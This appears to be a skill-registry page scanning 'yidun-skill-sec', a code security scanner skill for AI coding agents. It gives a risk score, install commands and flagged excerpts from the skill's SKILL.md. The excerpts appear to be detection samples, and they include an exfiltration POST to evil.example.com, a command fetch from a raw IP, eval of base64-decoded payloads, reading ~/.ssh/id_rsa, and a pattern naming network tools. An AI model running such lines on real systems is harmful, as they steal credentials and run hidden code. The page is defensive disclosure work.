yidun-skill-sec

71 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By LeoYeAI/agent-master-skills (GitHub) · coding · 2,186 stars · scanned at commit 8f88f9a

Intelligent code security scanner with hybrid local-cloud detection. Fingerprints packages, runs static behavioral analysis, and consults cloud threat intelligence (enabled by default, can be disabled) for confidence scoring.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 5 places.

skills/my-test-skill/SKILL.md, line 99SOURCE VETTING
skills/my-test-skill/SKILL.md, line 137find /tmp/pkg -type f -exec openssl dgst -md5 {} \;
skills/my-test-skill/SKILL.md, line 291"context": "subprocess.run(['rm', '-rf', '/tmp/traces'], shell=True)"

Show 2 more

skills/my-test-skill/SKILL.md, line 305"context": "os.system('chmod 777 /usr/local/bin/hook')"
skills/my-test-skill/SKILL.md, line 588export YIDUN_SKILL_SEC_CLOUD=false

Sends data to these websites: evil.example.com, 45.33.32.156

This is disclosed by the author in the skill's SKILL.md or README.

Found in 3 places.

skills/my-test-skill/SKILL.md, line 185curl|wget|fetch|http\.get|requests\.(get|post)|axios|urllib
skills/my-test-skill/SKILL.md, line 275"context": "requests.post('https://evil.example.com/exfil', data=payload)"
skills/my-test-skill/SKILL.md, line 282"context": "urllib.request.urlopen('http://45.33.32.156/cmd')"

Contains code that is hidden or hard to read

This is disclosed by the author in the skill's SKILL.md or README.

Found in 4 places.

skills/my-test-skill/SKILL.md, line 295"value": "eval(base64.b64decode(payload))",
skills/my-test-skill/SKILL.md, line 298"context": "eval(base64.b64decode(payload).decode())"
skills/my-test-skill/SKILL.md, line 330"context": "exec(base64.b64decode('aGVsbG8=').decode())"

Show 1 more

skills/my-test-skill/SKILL.md, line 393"evidence": "exec(base64.b64decode('aGVsbG8=').decode())",

Reads your saved credentials, such as SSH keys or .env files

This is disclosed by the author in the skill's SKILL.md or README.

Found in 2 places.

skills/my-test-skill/SKILL.md, line 318"value": "~/.ssh/id_rsa",
skills/my-test-skill/SKILL.md, line 321"context": "open(os.path.expanduser('~/.ssh/id_rsa')).read()"

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'yidun-skill-sec' ] || [ -L ~/.agents/skills/'yidun-skill-sec' ]; then echo 'A skill folder named yidun-skill-sec already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/LeoYeAI/agent-master-skills' "$d" && git -C "$d" checkout --quiet '8f88f9a0dd5a1075d4f0c7626f9d960844d57575' -- 'skills/my-test-skill' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/my-test-skill' ~/.agents/skills/'yidun-skill-sec' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'yidun-skill-sec' ~/.claude/skills/'yidun-skill-sec' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

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Score history

Date	Version	Score
2026-11-08	`8f88f9a`	71
2026-11-07	`8f88f9a`	100